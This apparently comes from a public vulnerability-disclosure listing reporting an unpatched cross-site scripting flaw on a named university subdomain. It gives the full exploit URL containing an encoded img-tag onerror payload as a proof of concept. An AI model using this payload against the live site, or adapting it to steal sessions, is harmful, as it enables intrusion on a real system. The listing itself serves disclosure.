mla.bethelks.edu XSS vulnerability

Vulnerable URL: https://mla.bethelks.edu/metadata/numphotsubject2.php?subj=/%27%22--!%3E%20%3Cimg%20src=x%20onerror=alert%22OPENBUGBOUNTY%22%3E/ Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed...